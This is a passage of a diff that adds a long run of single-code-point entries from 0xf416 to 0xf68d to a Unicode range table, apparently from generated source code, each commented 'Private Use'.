+ [0xf416, 0xf416], /* Private Use */
+ [0xf417, 0xf417], /* Private Use */
+ [0xf418, 0xf418], /* Private Use */
+ [0xf419, 0xf419], /* Private Use */
+ [0xf41a, 0xf41a], /* Private Use */
+ [0xf41b, 0xf41b], /* Private Use */
+ [0xf41c, 0xf41c], /* Private Use */
+ [0xf41d, 0xf41d], /* Private Use */
+ [0xf41e, 0xf41e], /* Private Use */
+ [0xf41f, 0xf41f], /* Private Use */
+ [0xf420, 0xf420], /* Private Use */
+ [0xf421, 0xf421], /* Private Use */
+ [0xf422, 0xf422], /* Private Use */
+ [0xf423, 0xf423], /* Private Use */
+ [0xf424, 0xf424], /* Private Use */
+ [0xf425, 0xf425], /* Private Use */
+ [0xf426, 0xf426], /* Private Use */
+ [0xf427, 0xf427], /* Private Use */
+ [0xf428, 0xf428], /* Private Use */
+ [0xf429, 0xf429], /* Private Use */
+ [0xf42a, 0xf42a], /* Private Use */
+ [0xf42b, 0xf42b], /* Private Use */
+ [0xf42c, 0xf42c], /* Private Use */
+ [0xf42d, 0xf42d], /* Private Use */
+ [0xf42e, 0xf42e], /* Private Use */
+ [0xf42f, 0xf42f], /* Private Use */
+ [0xf430, 0xf430], /* Private Use */
+ [0xf431, 0xf431], /* Private Use */
+ [0xf432, 0xf432], /* Private Use */
+ [0xf433, 0xf433], /* Private Use */
+ [0xf434, 0xf434], /* Private Use */
+ [0xf435, 0xf435], /* Private Use */
+ [0xf436, 0xf436], /* Private Use */
+ [0xf437, 0xf437], /* Private Use */
+ [0xf438, 0xf438], /* Private Use */
+ [0xf439, 0xf439], /* Private Use */
+ [0xf43a, 0xf43a], /* Private Use */
+ [0xf43b, 0xf43b], /* Private Use */
+ [0xf43c, 0xf43c], /* Private Use */
+ [0xf43d, 0xf43d], /* Private Use */
+ [0xf43e, 0xf43e], /* Private Use */
+ [0xf43f, 0xf43f], /* Private Use */
+ [0xf440, 0xf440], /* Private Use */
+ [0xf441, 0xf441], /* Private Use */
+ [0xf442, 0xf442], /* Private Use */
+ [0xf443, 0xf443], /* Private Use */
+ [0xf444, 0xf444], /* Private Use */
+ [0xf445, 0xf445], /* Private Use */
+ [0xf446, 0xf446], /* Private Use */
+ [0xf447, 0xf447], /* Private Use */
+ [0xf448, 0xf448], /* Private Use */
+ [0xf449, 0xf449], /* Private Use */
+ [0xf44a, 0xf44a], /* Private Use */
+ [0xf44b, 0xf44b], /* Private Use */
+ [0xf44c, 0xf44c], /* Private Use */
+ [0xf44d, 0xf44d], /* Private Use */
+ [0xf44e, 0xf44e], /* Private Use */
+ [0xf44f, 0xf44f], /* Private Use */
+ [0xf450, 0xf450], /* Private Use */
+ [0xf451, 0xf451], /* Private Use */
+ [0xf452, 0xf452], /* Private Use */
+ [0xf453, 0xf453], /* Private Use */
+ [0xf454, 0xf454], /* Private Use */
+ [0xf455, 0xf455], /* Private Use */
+ [0xf456, 0xf456], /* Private Use */
+ [0xf457, 0xf457], /* Private Use */
+ [0xf458, 0xf458], /* Private Use */
+ [0xf459, 0xf459], /* Private Use */
+ [0xf45a, 0xf45a], /* Private Use */
+ [0xf45b, 0xf45b], /* Private Use */
+ [0xf45c, 0xf45c], /* Private Use */
+ [0xf45d, 0xf45d], /* Private Use */
+ [0xf45e, 0xf45e], /* Private Use */
+ [0xf45f, 0xf45f], /* Private Use */
+ [0xf460, 0xf460], /* Private Use */
+ [0xf461, 0xf461], /* Private Use */
+ [0xf462, 0xf462], /* Private Use */
+ [0xf463, 0xf463], /* Private Use */
+ [0xf464, 0xf464], /* Private Use */
+ [0xf465, 0xf465], /* Private Use */
+ [0xf466, 0xf466], /* Private Use */
+ [0xf467, 0xf467], /* Private Use */
+ [0xf468, 0xf468], /* Private Use */
+ [0xf469, 0xf469], /* Private Use */
+ [0xf46a, 0xf46a], /* Private Use */
+ [0xf46b, 0xf46b], /* Private Use */
+ [0xf46c, 0xf46c], /* Private Use */
+ [0xf46d, 0xf46d], /* Private Use */
+ [0xf46e, 0xf46e], /* Private Use */
+ [0xf46f, 0xf46f], /* Private Use */
+ [0xf470, 0xf470], /* Private Use */
+ [0xf471, 0xf471], /* Private Use */
+ [0xf472, 0xf472], /* Private Use */
+ [0xf473, 0xf473], /* Private Use */
+ [0xf474, 0xf474], /* Private Use */
+ [0xf475, 0xf475], /* Private Use */
+ [0xf476, 0xf476], /* Private Use */
+ [0xf477, 0xf477], /* Private Use */
+ [0xf478, 0xf478], /* Private Use */
+ [0xf479, 0xf479], /* Private Use */
+ [0xf47a, 0xf47a], /* Private Use */
+ [0xf47b, 0xf47b], /* Private Use */
+ [0xf47c, 0xf47c], /* Private Use */
+ [0xf47d, 0xf47d], /* Private Use */
+ [0xf47e, 0xf47e], /* Private Use */
+ [0xf47f, 0xf47f], /* Private Use */
+ [0xf480, 0xf480], /* Private Use */
+ [0xf481, 0xf481], /* Private Use */
+ [0xf482, 0xf482], /* Private Use */
+ [0xf483, 0xf483], /* Private Use */
+ [0xf484, 0xf484], /* Private Use */
+ [0xf485, 0xf485], /* Private Use */
+ [0xf486, 0xf486], /* Private Use */
+ [0xf487, 0xf487], /* Private Use */
+ [0xf488, 0xf488], /* Private Use */
+ [0xf489, 0xf489], /* Private Use */
+ [0xf48a, 0xf48a], /* Private Use */
+ [0xf48b, 0xf48b], /* Private Use */
+ [0xf48c, 0xf48c], /* Private Use */
+ [0xf48d, 0xf48d], /* Private Use */
+ [0xf48e, 0xf48e], /* Private Use */
+ [0xf48f, 0xf48f], /* Private Use */
+ [0xf490, 0xf490], /* Private Use */
+ [0xf491, 0xf491], /* Private Use */
+ [0xf492, 0xf492], /* Private Use */
+ [0xf493, 0xf493], /* Private Use */
+ [0xf494, 0xf494], /* Private Use */
+ [0xf495, 0xf495], /* Private Use */
+ [0xf496, 0xf496], /* Private Use */
+ [0xf497, 0xf497], /* Private Use */
+ [0xf498, 0xf498], /* Private Use */
+ [0xf499, 0xf499], /* Private Use */
+ [0xf49a, 0xf49a], /* Private Use */
+ [0xf49b, 0xf49b], /* Private Use */
+ [0xf49c, 0xf49c], /* Private Use */
+ [0xf49d, 0xf49d], /* Private Use */
+ [0xf49e, 0xf49e], /* Private Use */
+ [0xf49f, 0xf49f], /* Private Use */
+ [0xf4a0, 0xf4a0], /* Private Use */
+ [0xf4a1, 0xf4a1], /* Private Use */
+ [0xf4a2, 0xf4a2], /* Private Use */
+ [0xf4a3, 0xf4a3], /* Private Use */
+ [0xf4a4, 0xf4a4], /* Private Use */
+ [0xf4a5, 0xf4a5], /* Private Use */
+ [0xf4a6, 0xf4a6], /* Private Use */
+ [0xf4a7, 0xf4a7], /* Private Use */
+ [0xf4a8, 0xf4a8], /* Private Use */
+ [0xf4a9, 0xf4a9], /* Private Use */
+ [0xf4aa, 0xf4aa], /* Private Use */
+ [0xf4ab, 0xf4ab], /* Private Use */
+ [0xf4ac, 0xf4ac], /* Private Use */
+ [0xf4ad, 0xf4ad], /* Private Use */
+ [0xf4ae, 0xf4ae], /* Private Use */
+ [0xf4af, 0xf4af], /* Private Use */
+ [0xf4b0, 0xf4b0], /* Private Use */
+ [0xf4b1, 0xf4b1], /* Private Use */
+ [0xf4b2, 0xf4b2], /* Private Use */
+ [0xf4b3, 0xf4b3], /* Private Use */
+ [0xf4b4, 0xf4b4], /* Private Use */
+ [0xf4b5, 0xf4b5], /* Private Use */
+ [0xf4b6, 0xf4b6], /* Private Use */
+ [0xf4b7, 0xf4b7], /* Private Use */
+ [0xf4b8, 0xf4b8], /* Private Use */
+ [0xf4b9, 0xf4b9], /* Private Use */
+ [0xf4ba, 0xf4ba], /* Private Use */
+ [0xf4bb, 0xf4bb], /* Private Use */
+ [0xf4bc, 0xf4bc], /* Private Use */
+ [0xf4bd, 0xf4bd], /* Private Use */
+ [0xf4be, 0xf4be], /* Private Use */
+ [0xf4bf, 0xf4bf], /* Private Use */
+ [0xf4c0, 0xf4c0], /* Private Use */
+ [0xf4c1, 0xf4c1], /* Private Use */
+ [0xf4c2, 0xf4c2], /* Private Use */
+ [0xf4c3, 0xf4c3], /* Private Use */
+ [0xf4c4, 0xf4c4], /* Private Use */
+ [0xf4c5, 0xf4c5], /* Private Use */
+ [0xf4c6, 0xf4c6], /* Private Use */
+ [0xf4c7, 0xf4c7], /* Private Use */
+ [0xf4c8, 0xf4c8], /* Private Use */
+ [0xf4c9, 0xf4c9], /* Private Use */
+ [0xf4ca, 0xf4ca], /* Private Use */
+ [0xf4cb, 0xf4cb], /* Private Use */
+ [0xf4cc, 0xf4cc], /* Private Use */
+ [0xf4cd, 0xf4cd], /* Private Use */
+ [0xf4ce, 0xf4ce], /* Private Use */
+ [0xf4cf, 0xf4cf], /* Private Use */
+ [0xf4d0, 0xf4d0], /* Private Use */
+ [0xf4d1, 0xf4d1], /* Private Use */
+ [0xf4d2, 0xf4d2], /* Private Use */
+ [0xf4d3, 0xf4d3], /* Private Use */
+ [0xf4d4, 0xf4d4], /* Private Use */
+ [0xf4d5, 0xf4d5], /* Private Use */
+ [0xf4d6, 0xf4d6], /* Private Use */
+ [0xf4d7, 0xf4d7], /* Private Use */
+ [0xf4d8, 0xf4d8], /* Private Use */
+ [0xf4d9, 0xf4d9], /* Private Use */
+ [0xf4da, 0xf4da], /* Private Use */
+ [0xf4db, 0xf4db], /* Private Use */
+ [0xf4dc, 0xf4dc], /* Private Use */
+ [0xf4dd, 0xf4dd], /* Private Use */
+ [0xf4de, 0xf4de], /* Private Use */
+ [0xf4df, 0xf4df], /* Private Use */
+ [0xf4e0, 0xf4e0], /* Private Use */
+ [0xf4e1, 0xf4e1], /* Private Use */
+ [0xf4e2, 0xf4e2], /* Private Use */
+ [0xf4e3, 0xf4e3], /* Private Use */
+ [0xf4e4, 0xf4e4], /* Private Use */
+ [0xf4e5, 0xf4e5], /* Private Use */
+ [0xf4e6, 0xf4e6], /* Private Use */
+ [0xf4e7, 0xf4e7], /* Private Use */
+ [0xf4e8, 0xf4e8], /* Private Use */
+ [0xf4e9, 0xf4e9], /* Private Use */
+ [0xf4ea, 0xf4ea], /* Private Use */
+ [0xf4eb, 0xf4eb], /* Private Use */
+ [0xf4ec, 0xf4ec], /* Private Use */
+ [0xf4ed, 0xf4ed], /* Private Use */
+ [0xf4ee, 0xf4ee], /* Private Use */
+ [0xf4ef, 0xf4ef], /* Private Use */
+ [0xf4f0, 0xf4f0], /* Private Use */
+ [0xf4f1, 0xf4f1], /* Private Use */
+ [0xf4f2, 0xf4f2], /* Private Use */
+ [0xf4f3, 0xf4f3], /* Private Use */
+ [0xf4f4, 0xf4f4], /* Private Use */
+ [0xf4f5, 0xf4f5], /* Private Use */
+ [0xf4f6, 0xf4f6], /* Private Use */
+ [0xf4f7, 0xf4f7], /* Private Use */
+ [0xf4f8, 0xf4f8], /* Private Use */
+ [0xf4f9, 0xf4f9], /* Private Use */
+ [0xf4fa, 0xf4fa], /* Private Use */
+ [0xf4fb, 0xf4fb], /* Private Use */
+ [0xf4fc, 0xf4fc], /* Private Use */
+ [0xf4fd, 0xf4fd], /* Private Use */
+ [0xf4fe, 0xf4fe], /* Private Use */
+ [0xf4ff, 0xf4ff], /* Private Use */
+ [0xf500, 0xf500], /* Private Use */
+ [0xf501, 0xf501], /* Private Use */
+ [0xf502, 0xf502], /* Private Use */
+ [0xf503, 0xf503], /* Private Use */
+ [0xf504, 0xf504], /* Private Use */
+ [0xf505, 0xf505], /* Private Use */
+ [0xf506, 0xf506], /* Private Use */
+ [0xf507, 0xf507], /* Private Use */
+ [0xf508, 0xf508], /* Private Use */
+ [0xf509, 0xf509], /* Private Use */
+ [0xf50a, 0xf50a], /* Private Use */
+ [0xf50b, 0xf50b], /* Private Use */
+ [0xf50c, 0xf50c], /* Private Use */
+ [0xf50d, 0xf50d], /* Private Use */
+ [0xf50e, 0xf50e], /* Private Use */
+ [0xf50f, 0xf50f], /* Private Use */
+ [0xf510, 0xf510], /* Private Use */
+ [0xf511, 0xf511], /* Private Use */
+ [0xf512, 0xf512], /* Private Use */
+ [0xf513, 0xf513], /* Private Use */
+ [0xf514, 0xf514], /* Private Use */
+ [0xf515, 0xf515], /* Private Use */
+ [0xf516, 0xf516], /* Private Use */
+ [0xf517, 0xf517], /* Private Use */
+ [0xf518, 0xf518], /* Private Use */
+ [0xf519, 0xf519], /* Private Use */
+ [0xf51a, 0xf51a], /* Private Use */
+ [0xf51b, 0xf51b], /* Private Use */
+ [0xf51c, 0xf51c], /* Private Use */
+ [0xf51d, 0xf51d], /* Private Use */
+ [0xf51e, 0xf51e], /* Private Use */
+ [0xf51f, 0xf51f], /* Private Use */
+ [0xf520, 0xf520], /* Private Use */
+ [0xf521, 0xf521], /* Private Use */
+ [0xf522, 0xf522], /* Private Use */
+ [0xf523, 0xf523], /* Private Use */
+ [0xf524, 0xf524], /* Private Use */
+ [0xf525, 0xf525], /* Private Use */
+ [0xf526, 0xf526], /* Private Use */
+ [0xf527, 0xf527], /* Private Use */
+ [0xf528, 0xf528], /* Private Use */
+ [0xf529, 0xf529], /* Private Use */
+ [0xf52a, 0xf52a], /* Private Use */
+ [0xf52b, 0xf52b], /* Private Use */
+ [0xf52c, 0xf52c], /* Private Use */
+ [0xf52d, 0xf52d], /* Private Use */
+ [0xf52e, 0xf52e], /* Private Use */
+ [0xf52f, 0xf52f], /* Private Use */
+ [0xf530, 0xf530], /* Private Use */
+ [0xf531, 0xf531], /* Private Use */
+ [0xf532, 0xf532], /* Private Use */
+ [0xf533, 0xf533], /* Private Use */
+ [0xf534, 0xf534], /* Private Use */
+ [0xf535, 0xf535], /* Private Use */
+ [0xf536, 0xf536], /* Private Use */
+ [0xf537, 0xf537], /* Private Use */
+ [0xf538, 0xf538], /* Private Use */
+ [0xf539, 0xf539], /* Private Use */
+ [0xf53a, 0xf53a], /* Private Use */
+ [0xf53b, 0xf53b], /* Private Use */
+ [0xf53c, 0xf53c], /* Private Use */
+ [0xf53d, 0xf53d], /* Private Use */
+ [0xf53e, 0xf53e], /* Private Use */
+ [0xf53f, 0xf53f], /* Private Use */
+ [0xf540, 0xf540], /* Private Use */
+ [0xf541, 0xf541], /* Private Use */
+ [0xf542, 0xf542], /* Private Use */
+ [0xf543, 0xf543], /* Private Use */
+ [0xf544, 0xf544], /* Private Use */
+ [0xf545, 0xf545], /* Private Use */
+ [0xf546, 0xf546], /* Private Use */
+ [0xf547, 0xf547], /* Private Use */
+ [0xf548, 0xf548], /* Private Use */
+ [0xf549, 0xf549], /* Private Use */
+ [0xf54a, 0xf54a], /* Private Use */
+ [0xf54b, 0xf54b], /* Private Use */
+ [0xf54c, 0xf54c], /* Private Use */
+ [0xf54d, 0xf54d], /* Private Use */
+ [0xf54e, 0xf54e], /* Private Use */
+ [0xf54f, 0xf54f], /* Private Use */
+ [0xf550, 0xf550], /* Private Use */
+ [0xf551, 0xf551], /* Private Use */
+ [0xf552, 0xf552], /* Private Use */
+ [0xf553, 0xf553], /* Private Use */
+ [0xf554, 0xf554], /* Private Use */
+ [0xf555, 0xf555], /* Private Use */
+ [0xf556, 0xf556], /* Private Use */
+ [0xf557, 0xf557], /* Private Use */
+ [0xf558, 0xf558], /* Private Use */
+ [0xf559, 0xf559], /* Private Use */
+ [0xf55a, 0xf55a], /* Private Use */
+ [0xf55b, 0xf55b], /* Private Use */
+ [0xf55c, 0xf55c], /* Private Use */
+ [0xf55d, 0xf55d], /* Private Use */
+ [0xf55e, 0xf55e], /* Private Use */
+ [0xf55f, 0xf55f], /* Private Use */
+ [0xf560, 0xf560], /* Private Use */
+ [0xf561, 0xf561], /* Private Use */
+ [0xf562, 0xf562], /* Private Use */
+ [0xf563, 0xf563], /* Private Use */
+ [0xf564, 0xf564], /* Private Use */
+ [0xf565, 0xf565], /* Private Use */
+ [0xf566, 0xf566], /* Private Use */
+ [0xf567, 0xf567], /* Private Use */
+ [0xf568, 0xf568], /* Private Use */
+ [0xf569, 0xf569], /* Private Use */
+ [0xf56a, 0xf56a], /* Private Use */
+ [0xf56b, 0xf56b], /* Private Use */
+ [0xf56c, 0xf56c], /* Private Use */
+ [0xf56d, 0xf56d], /* Private Use */
+ [0xf56e, 0xf56e], /* Private Use */
+ [0xf56f, 0xf56f], /* Private Use */
+ [0xf570, 0xf570], /* Private Use */
+ [0xf571, 0xf571], /* Private Use */
+ [0xf572, 0xf572], /* Private Use */
+ [0xf573, 0xf573], /* Private Use */
+ [0xf574, 0xf574], /* Private Use */
+ [0xf575, 0xf575], /* Private Use */
+ [0xf576, 0xf576], /* Private Use */
+ [0xf577, 0xf577], /* Private Use */
+ [0xf578, 0xf578], /* Private Use */
+ [0xf579, 0xf579], /* Private Use */
+ [0xf57a, 0xf57a], /* Private Use */
+ [0xf57b, 0xf57b], /* Private Use */
+ [0xf57c, 0xf57c], /* Private Use */
+ [0xf57d, 0xf57d], /* Private Use */
+ [0xf57e, 0xf57e], /* Private Use */
+ [0xf57f, 0xf57f], /* Private Use */
+ [0xf580, 0xf580], /* Private Use */
+ [0xf581, 0xf581], /* Private Use */
+ [0xf582, 0xf582], /* Private Use */
+ [0xf583, 0xf583], /* Private Use */
+ [0xf584, 0xf584], /* Private Use */
+ [0xf585, 0xf585], /* Private Use */
+ [0xf586, 0xf586], /* Private Use */
+ [0xf587, 0xf587], /* Private Use */
+ [0xf588, 0xf588], /* Private Use */
+ [0xf589, 0xf589], /* Private Use */
+ [0xf58a, 0xf58a], /* Private Use */
+ [0xf58b, 0xf58b], /* Private Use */
+ [0xf58c, 0xf58c], /* Private Use */
+ [0xf58d, 0xf58d], /* Private Use */
+ [0xf58e, 0xf58e], /* Private Use */
+ [0xf58f, 0xf58f], /* Private Use */
+ [0xf590, 0xf590], /* Private Use */
+ [0xf591, 0xf591], /* Private Use */
+ [0xf592, 0xf592], /* Private Use */
+ [0xf593, 0xf593], /* Private Use */
+ [0xf594, 0xf594], /* Private Use */
+ [0xf595, 0xf595], /* Private Use */
+ [0xf596, 0xf596], /* Private Use */
+ [0xf597, 0xf597], /* Private Use */
+ [0xf598, 0xf598], /* Private Use */
+ [0xf599, 0xf599], /* Private Use */
+ [0xf59a, 0xf59a], /* Private Use */
+ [0xf59b, 0xf59b], /* Private Use */
+ [0xf59c, 0xf59c], /* Private Use */
+ [0xf59d, 0xf59d], /* Private Use */
+ [0xf59e, 0xf59e], /* Private Use */
+ [0xf59f, 0xf59f], /* Private Use */
+ [0xf5a0, 0xf5a0], /* Private Use */
+ [0xf5a1, 0xf5a1], /* Private Use */
+ [0xf5a2, 0xf5a2], /* Private Use */
+ [0xf5a3, 0xf5a3], /* Private Use */
+ [0xf5a4, 0xf5a4], /* Private Use */
+ [0xf5a5, 0xf5a5], /* Private Use */
+ [0xf5a6, 0xf5a6], /* Private Use */
+ [0xf5a7, 0xf5a7], /* Private Use */
+ [0xf5a8, 0xf5a8], /* Private Use */
+ [0xf5a9, 0xf5a9], /* Private Use */
+ [0xf5aa, 0xf5aa], /* Private Use */
+ [0xf5ab, 0xf5ab], /* Private Use */
+ [0xf5ac, 0xf5ac], /* Private Use */
+ [0xf5ad, 0xf5ad], /* Private Use */
+ [0xf5ae, 0xf5ae], /* Private Use */
+ [0xf5af, 0xf5af], /* Private Use */
+ [0xf5b0, 0xf5b0], /* Private Use */
+ [0xf5b1, 0xf5b1], /* Private Use */
+ [0xf5b2, 0xf5b2], /* Private Use */
+ [0xf5b3, 0xf5b3], /* Private Use */
+ [0xf5b4, 0xf5b4], /* Private Use */
+ [0xf5b5, 0xf5b5], /* Private Use */
+ [0xf5b6, 0xf5b6], /* Private Use */
+ [0xf5b7, 0xf5b7], /* Private Use */
+ [0xf5b8, 0xf5b8], /* Private Use */
+ [0xf5b9, 0xf5b9], /* Private Use */
+ [0xf5ba, 0xf5ba], /* Private Use */
+ [0xf5bb, 0xf5bb], /* Private Use */
+ [0xf5bc, 0xf5bc], /* Private Use */
+ [0xf5bd, 0xf5bd], /* Private Use */
+ [0xf5be, 0xf5be], /* Private Use */
+ [0xf5bf, 0xf5bf], /* Private Use */
+ [0xf5c0, 0xf5c0], /* Private Use */
+ [0xf5c1, 0xf5c1], /* Private Use */
+ [0xf5c2, 0xf5c2], /* Private Use */
+ [0xf5c3, 0xf5c3], /* Private Use */
+ [0xf5c4, 0xf5c4], /* Private Use */
+ [0xf5c5, 0xf5c5], /* Private Use */
+ [0xf5c6, 0xf5c6], /* Private Use */
+ [0xf5c7, 0xf5c7], /* Private Use */
+ [0xf5c8, 0xf5c8], /* Private Use */
+ [0xf5c9, 0xf5c9], /* Private Use */
+ [0xf5ca, 0xf5ca], /* Private Use */
+ [0xf5cb, 0xf5cb], /* Private Use */
+ [0xf5cc, 0xf5cc], /* Private Use */
+ [0xf5cd, 0xf5cd], /* Private Use */
+ [0xf5ce, 0xf5ce], /* Private Use */
+ [0xf5cf, 0xf5cf], /* Private Use */
+ [0xf5d0, 0xf5d0], /* Private Use */
+ [0xf5d1, 0xf5d1], /* Private Use */
+ [0xf5d2, 0xf5d2], /* Private Use */
+ [0xf5d3, 0xf5d3], /* Private Use */
+ [0xf5d4, 0xf5d4], /* Private Use */
+ [0xf5d5, 0xf5d5], /* Private Use */
+ [0xf5d6, 0xf5d6], /* Private Use */
+ [0xf5d7, 0xf5d7], /* Private Use */
+ [0xf5d8, 0xf5d8], /* Private Use */
+ [0xf5d9, 0xf5d9], /* Private Use */
+ [0xf5da, 0xf5da], /* Private Use */
+ [0xf5db, 0xf5db], /* Private Use */
+ [0xf5dc, 0xf5dc], /* Private Use */
+ [0xf5dd, 0xf5dd], /* Private Use */
+ [0xf5de, 0xf5de], /* Private Use */
+ [0xf5df, 0xf5df], /* Private Use */
+ [0xf5e0, 0xf5e0], /* Private Use */
+ [0xf5e1, 0xf5e1], /* Private Use */
+ [0xf5e2, 0xf5e2], /* Private Use */
+ [0xf5e3, 0xf5e3], /* Private Use */
+ [0xf5e4, 0xf5e4], /* Private Use */
+ [0xf5e5, 0xf5e5], /* Private Use */
+ [0xf5e6, 0xf5e6], /* Private Use */
+ [0xf5e7, 0xf5e7], /* Private Use */
+ [0xf5e8, 0xf5e8], /* Private Use */
+ [0xf5e9, 0xf5e9], /* Private Use */
+ [0xf5ea, 0xf5ea], /* Private Use */
+ [0xf5eb, 0xf5eb], /* Private Use */
+ [0xf5ec, 0xf5ec], /* Private Use */
+ [0xf5ed, 0xf5ed], /* Private Use */
+ [0xf5ee, 0xf5ee], /* Private Use */
+ [0xf5ef, 0xf5ef], /* Private Use */
+ [0xf5f0, 0xf5f0], /* Private Use */
+ [0xf5f1, 0xf5f1], /* Private Use */
+ [0xf5f2, 0xf5f2], /* Private Use */
+ [0xf5f3, 0xf5f3], /* Private Use */
+ [0xf5f4, 0xf5f4], /* Private Use */
+ [0xf5f5, 0xf5f5], /* Private Use */
+ [0xf5f6, 0xf5f6], /* Private Use */
+ [0xf5f7, 0xf5f7], /* Private Use */
+ [0xf5f8, 0xf5f8], /* Private Use */
+ [0xf5f9, 0xf5f9], /* Private Use */
+ [0xf5fa, 0xf5fa], /* Private Use */
+ [0xf5fb, 0xf5fb], /* Private Use */
+ [0xf5fc, 0xf5fc], /* Private Use */
+ [0xf5fd, 0xf5fd], /* Private Use */
+ [0xf5fe, 0xf5fe], /* Private Use */
+ [0xf5ff, 0xf5ff], /* Private Use */
+ [0xf600, 0xf600], /* Private Use */
+ [0xf601, 0xf601], /* Private Use */
+ [0xf602, 0xf602], /* Private Use */
+ [0xf603, 0xf603], /* Private Use */
+ [0xf604, 0xf604], /* Private Use */
+ [0xf605, 0xf605], /* Private Use */
+ [0xf606, 0xf606], /* Private Use */
+ [0xf607, 0xf607], /* Private Use */
+ [0xf608, 0xf608], /* Private Use */
+ [0xf609, 0xf609], /* Private Use */
+ [0xf60a, 0xf60a], /* Private Use */
+ [0xf60b, 0xf60b], /* Private Use */
+ [0xf60c, 0xf60c], /* Private Use */
+ [0xf60d, 0xf60d], /* Private Use */
+ [0xf60e, 0xf60e], /* Private Use */
+ [0xf60f, 0xf60f], /* Private Use */
+ [0xf610, 0xf610], /* Private Use */
+ [0xf611, 0xf611], /* Private Use */
+ [0xf612, 0xf612], /* Private Use */
+ [0xf613, 0xf613], /* Private Use */
+ [0xf614, 0xf614], /* Private Use */
+ [0xf615, 0xf615], /* Private Use */
+ [0xf616, 0xf616], /* Private Use */
+ [0xf617, 0xf617], /* Private Use */
+ [0xf618, 0xf618], /* Private Use */
+ [0xf619, 0xf619], /* Private Use */
+ [0xf61a, 0xf61a], /* Private Use */
+ [0xf61b, 0xf61b], /* Private Use */
+ [0xf61c, 0xf61c], /* Private Use */
+ [0xf61d, 0xf61d], /* Private Use */
+ [0xf61e, 0xf61e], /* Private Use */
+ [0xf61f, 0xf61f], /* Private Use */
+ [0xf620, 0xf620], /* Private Use */
+ [0xf621, 0xf621], /* Private Use */
+ [0xf622, 0xf622], /* Private Use */
+ [0xf623, 0xf623], /* Private Use */
+ [0xf624, 0xf624], /* Private Use */
+ [0xf625, 0xf625], /* Private Use */
+ [0xf626, 0xf626], /* Private Use */
+ [0xf627, 0xf627], /* Private Use */
+ [0xf628, 0xf628], /* Private Use */
+ [0xf629, 0xf629], /* Private Use */
+ [0xf62a, 0xf62a], /* Private Use */
+ [0xf62b, 0xf62b], /* Private Use */
+ [0xf62c, 0xf62c], /* Private Use */
+ [0xf62d, 0xf62d], /* Private Use */
+ [0xf62e, 0xf62e], /* Private Use */
+ [0xf62f, 0xf62f], /* Private Use */
+ [0xf630, 0xf630], /* Private Use */
+ [0xf631, 0xf631], /* Private Use */
+ [0xf632, 0xf632], /* Private Use */
+ [0xf633, 0xf633], /* Private Use */
+ [0xf634, 0xf634], /* Private Use */
+ [0xf635, 0xf635], /* Private Use */
+ [0xf636, 0xf636], /* Private Use */
+ [0xf637, 0xf637], /* Private Use */
+ [0xf638, 0xf638], /* Private Use */
+ [0xf639, 0xf639], /* Private Use */
+ [0xf63a, 0xf63a], /* Private Use */
+ [0xf63b, 0xf63b], /* Private Use */
+ [0xf63c, 0xf63c], /* Private Use */
+ [0xf63d, 0xf63d], /* Private Use */
+ [0xf63e, 0xf63e], /* Private Use */
+ [0xf63f, 0xf63f], /* Private Use */
+ [0xf640, 0xf640], /* Private Use */
+ [0xf641, 0xf641], /* Private Use */
+ [0xf642, 0xf642], /* Private Use */
+ [0xf643, 0xf643], /* Private Use */
+ [0xf644, 0xf644], /* Private Use */
+ [0xf645, 0xf645], /* Private Use */
+ [0xf646, 0xf646], /* Private Use */
+ [0xf647, 0xf647], /* Private Use */
+ [0xf648, 0xf648], /* Private Use */
+ [0xf649, 0xf649], /* Private Use */
+ [0xf64a, 0xf64a], /* Private Use */
+ [0xf64b, 0xf64b], /* Private Use */
+ [0xf64c, 0xf64c], /* Private Use */
+ [0xf64d, 0xf64d], /* Private Use */
+ [0xf64e, 0xf64e], /* Private Use */
+ [0xf64f, 0xf64f], /* Private Use */
+ [0xf650, 0xf650], /* Private Use */
+ [0xf651, 0xf651], /* Private Use */
+ [0xf652, 0xf652], /* Private Use */
+ [0xf653, 0xf653], /* Private Use */
+ [0xf654, 0xf654], /* Private Use */
+ [0xf655, 0xf655], /* Private Use */
+ [0xf656, 0xf656], /* Private Use */
+ [0xf657, 0xf657], /* Private Use */
+ [0xf658, 0xf658], /* Private Use */
+ [0xf659, 0xf659], /* Private Use */
+ [0xf65a, 0xf65a], /* Private Use */
+ [0xf65b, 0xf65b], /* Private Use */
+ [0xf65c, 0xf65c], /* Private Use */
+ [0xf65d, 0xf65d], /* Private Use */
+ [0xf65e, 0xf65e], /* Private Use */
+ [0xf65f, 0xf65f], /* Private Use */
+ [0xf660, 0xf660], /* Private Use */
+ [0xf661, 0xf661], /* Private Use */
+ [0xf662, 0xf662], /* Private Use */
+ [0xf663, 0xf663], /* Private Use */
+ [0xf664, 0xf664], /* Private Use */
+ [0xf665, 0xf665], /* Private Use */
+ [0xf666, 0xf666], /* Private Use */
+ [0xf667, 0xf667], /* Private Use */
+ [0xf668, 0xf668], /* Private Use */
+ [0xf669, 0xf669], /* Private Use */
+ [0xf66a, 0xf66a], /* Private Use */
+ [0xf66b, 0xf66b], /* Private Use */
+ [0xf66c, 0xf66c], /* Private Use */
+ [0xf66d, 0xf66d], /* Private Use */
+ [0xf66e, 0xf66e], /* Private Use */
+ [0xf66f, 0xf66f], /* Private Use */
+ [0xf670, 0xf670], /* Private Use */
+ [0xf671, 0xf671], /* Private Use */
+ [0xf672, 0xf672], /* Private Use */
+ [0xf673, 0xf673], /* Private Use */
+ [0xf674, 0xf674], /* Private Use */
+ [0xf675, 0xf675], /* Private Use */
+ [0xf676, 0xf676], /* Private Use */
+ [0xf677, 0xf677], /* Private Use */
+ [0xf678, 0xf678], /* Private Use */
+ [0xf679, 0xf679], /* Private Use */
+ [0xf67a, 0xf67a], /* Private Use */
+ [0xf67b, 0xf67b], /* Private Use */
+ [0xf67c, 0xf67c], /* Private Use */
+ [0xf67d, 0xf67d], /* Private Use */
+ [0xf67e, 0xf67e], /* Private Use */
+ [0xf67f, 0xf67f], /* Private Use */
+ [0xf680, 0xf680], /* Private Use */
+ [0xf681, 0xf681], /* Private Use */
+ [0xf682, 0xf682], /* Private Use */
+ [0xf683, 0xf683], /* Private Use */
+ [0xf684, 0xf684], /* Private Use */
+ [0xf685, 0xf685], /* Private Use */
+ [0xf686, 0xf686], /* Private Use */
+ [0xf687, 0xf687], /* Private Use */
+ [0xf688, 0xf688], /* Private Use */
+ [0xf689, 0xf689], /* Private Use */
+ [0xf68a, 0xf68a], /* Private Use */
+ [0xf68b, 0xf68b], /* Private Use */
+ [0xf68c, 0xf68c], /* Private Use */
+ [0xf68d, 0xf68d], /* Private Use */
